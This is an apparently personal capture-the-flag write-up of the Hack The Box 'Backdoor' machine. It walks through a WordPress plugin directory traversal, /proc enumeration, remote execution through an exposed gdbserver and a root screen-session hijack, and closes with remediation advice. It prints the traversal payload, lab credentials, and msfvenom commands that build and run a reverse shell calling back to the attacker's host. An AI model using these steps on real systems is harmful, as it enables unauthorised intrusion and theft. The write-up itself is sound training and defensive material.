Hacking Insights by Max Bautista

Backdoor writeup

Box name: Backdoor

Difficulty: Easy

OS: Linux

Overview: Backdoor is an easy difficulty Linux machine which is hosting a WordPress blog with an installed plugin that is vulnerable to a directory traversal exploit. This allows us to read the files in the /proc directory and identify the gdbserver running on one of the ports of the server. An RCE exploit for gdbserver can be used to gain foothold. Further, on analyzing the processes running on the system, it is discovered that a screen session is running with root privileges. Attaching to this screen session leads to root access.

Link: https://app.hackthebox.com/machines/Backdoor?tab=play_machine

Machine IP: 10.129.96.68

Ran rustscan to scan the machine.

rustscan -a 10.129.96.68 –ulimit 5000 -b 500 — -A -Pn

Scans show that this is a linux machine with SSH, a webserver that looks to be WordPress and an unknown port 1337 open. As 1337 is interesting I’ll check that out first.

nc 10.129.96.68 1337

Curled it and ran tcpdump.

curl -I http://10.129.96.68:1337

sudo tcpdump -i tun0 port 1337 -nn -X

I did not get anything back though. Navigated to the website.

Checked robots.txt manually and there is information disclosure.

Clicked around the site and checked source code. The only interesting I came across is when I clicked ‘Home’ is redirected me to backdoor.htb, in which I added to /etc/hosts to resolve to.

Ran feroxbuster and ffuf to directory bust and vhost fuzz before I poke around here.

feroxbuster -u http://backdoor.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

ffuf -u http://backdoor.htb -H “Host: FUZZ.backdoor.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

Poked further around backdoor.htb but nothing new too interesting. Ran wpscan as well since we know this is a WordPress site.

wpscan –url http://backdoor.htb/ –enumerate p –enumerate t –enumerate u -v –enumerate

Ffuf was returning a lot of false positives. Filtered by the word count.

ffuf -u http://backdoor.htb -H “Host: FUZZ.backdoor.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fw 3830,1

Wpscan and ffuf didn’t find anything interesting. I ended up going to feroxbuster and when navigating to http://backdoor.htb/wp-content/plugins we see an ebook-download directory.

Did further research and this appears to be vulnerable to directory traversal, EDB-ID 39575 https://www.exploit-db.com/exploits/39575. When we navigate to /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php, we do in face get the wp-config file.

wordpressuser:MQYBJSaD#DxG6qbm

I could not get these credentials to work on the wordpress login. Poking at the directory traversal further I was able get /etc/passwd and we see a user called ‘user’.

Tried these credentials on ‘user’ with SSH but that unfortunately also did not work. I tried a few more things but ended up getting stuck here. I peeked at the writeup and apparently we can interact with port 1337 with this access by bruteforcing the PID in the /proc/{PID}/cmdline file. I created a list of numbers.txt from 1-10,000 and used Intruder in BurpSuite to iterate through them all.

Unfortunately this is throttled pretty bad. Had AI write me a script.

On port 975 we get an interesting service running off of port 1337 that we saw earlier.

This appears to be a gdbserver which allows us to remotely debug other programs. Found an hacktricks article https://hacktricks.wiki/en/network-services-pentesting/pentesting-remote-gdbserver.html. It looks like we may be able to upload a revshell.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

target extended-remote 10.129.96.68:1337

remote put binary.elf binary.elf

set remote exec-file /home/user/binary.elf

penelope -p 4444

run

And we get a shell back.

Did local enumeration. When I checked services we found something interesting.

Ps aux

Also grabbed user.txt first.

Did some research, this is similar to tmux and you can detach from sessions. I checked sessions.

I think this only shows our current session though. The session we see in the services is named root. We can attach to that session, get root and grab root.txt.

screen -x root/root

GG

Attack Chain

1 – Reconnaissance
Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 1337 (unknown). Tried connecting to port 1337 with netcat and curl with no readable response. Browsed to the web server and found a WordPress site. Robots.txt disclosed version information. Added backdoor.htb to /etc/hosts after source code revealed the domain redirect. Ran feroxbuster, ffuf for VHOST fuzzing, and wpscan for plugin enumeration.

rustscan -a 10.129.96.68 –ulimit 5000 -b 500 — -A -Pn
feroxbuster -u http://backdoor.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion
wpscan –url http://backdoor.htb/ –enumerate p –enumerate t –enumerate u -v –enumerate

2 – WordPress plugin directory traversal – EDB-39575
Feroxbuster found /wp-content/plugins/ebook-download. Researched the plugin and found EDB-39575, a directory traversal vulnerability in the filedownload.php endpoint. Read wp-config.php and recovered WordPress database credentials. Read /etc/passwd and found a user account called user. Neither credential set worked for SSH or WordPress login.

/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

WordPress DB credentials recovered: wordpressuser:MQYBJSaD#DxG6qbm

3 – /proc PID enumeration to identify port 1337 service
Used the directory traversal to read /proc/{PID}/cmdline files by iterating through PIDs 1 to 10000 via a custom script. Found that PID 975 revealed gdbserver running on port 1337.

4 – Initial Access – gdbserver remote code execution
Researched gdbserver exploitation and found it allowed uploading and executing arbitrary ELF binaries. Generated a Linux x64 reverse shell ELF with msfvenom, uploaded it via gdb remote protocol, set the remote exec file, and triggered execution to catch a shell as user. Retrieved user.txt.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=4444 PrependFork=true -f elf -o binary.elf
gdb binary.elf
target extended-remote 10.129.96.68:1337
remote put binary.elf binary.elf
set remote exec-file /home/user/binary.elf

5 – Privilege Escalation – screen session hijack
Enumerated running processes and found a screen session running as root named root/root. Attached to the session directly to inherit the root shell. Retrieved root.txt.

screen -x root/root

---

Key Takeaways

1. WordPress plugin directory traversal – EDB-39575 – The ebook-download plugin passed user-supplied file paths directly to a file read function without validation, allowing arbitrary file reads including wp-config.php and /etc/passwd. WordPress plugins must be kept up to date and file download endpoints must validate paths against a strict allowlist.
   
2. gdbserver exposed on an external port with no authentication – gdbserver was listening on port 1337 with no authentication, allowing any host to connect, upload arbitrary binaries, and execute them. gdbserver must never be exposed on a network-accessible port and must only be used for local debugging or over an authenticated encrypted tunnel. The service must be terminated when not actively in use.
   
3. /proc filesystem readable via LFI enabling internal service discovery – The directory traversal allowed reading /proc/PID/cmdline files to enumerate all running processes and discover the gdbserver service on a non-standard port. LFI vulnerabilities must be treated as critical findings as they expose the entire accessible filesystem including sensitive process information.
   
4. Root screen session attachable by a standard user – The root-owned screen session was accessible to the user account because screen was SUID and the session had world-accessible permissions. Screen sessions running as root must restrict socket permissions and the screen binary must be audited for SUID necessity.
   
5. WordPress database credentials in wp-config.php readable via plugin traversal – The database credentials were recoverable via a single plugin traversal request. While these specific credentials did not yield further access, any configuration file exposure must be treated as a critical finding requiring immediate credential rotation.
   

---

Remediation

[Immediate] Remove or patch the ebook-download WordPress plugin
Remove the vulnerable ebook-download plugin immediately. If the plugin is required, update it to a version that validates file paths. Audit all installed WordPress plugins for directory traversal vulnerabilities and remove any that are outdated or unmaintained. Restrict the WordPress plugins directory from direct web browsing.

[Immediate] Disable gdbserver and block port 1337
Terminate the gdbserver process immediately and remove it from any startup configuration. Block port 1337 at the host firewall. gdbserver must never run on a production system and must never be accessible from an untrusted network. Audit all non-standard ports for development or debugging services.

[Immediate] Rotate WordPress database credentials
The wordpressuser database credentials must be considered fully compromised. Rotate the password and audit the database for unauthorized access or data modification.

[Immediate] Restrict the screen SUID binary and root session permissions
Audit the screen binary for SUID permissions and remove the SUID bit if it is not required. Any screen session running as root must use a socket with permissions restricting access to root only. Terminate any unattended root screen sessions immediately.

[Short-term] Harden robots.txt and remove version disclosure
Remove all version information from robots.txt and any other publicly accessible files. Audit all HTTP response headers, meta tags, and static files for WordPress version disclosure. Version information aids exploit selection and must be suppressed across all public-facing content.

[Long-term] Implement a WordPress hardening and plugin lifecycle baseline
Define a hardening standard for all WordPress deployments covering plugin auditing, directory listing restrictions, robots.txt content, database credential management, and web root file access controls. Include WordPress plugin directory traversal and LFI testing in regular web application penetration tests. Establish a patch cadence for all WordPress core and plugin updates.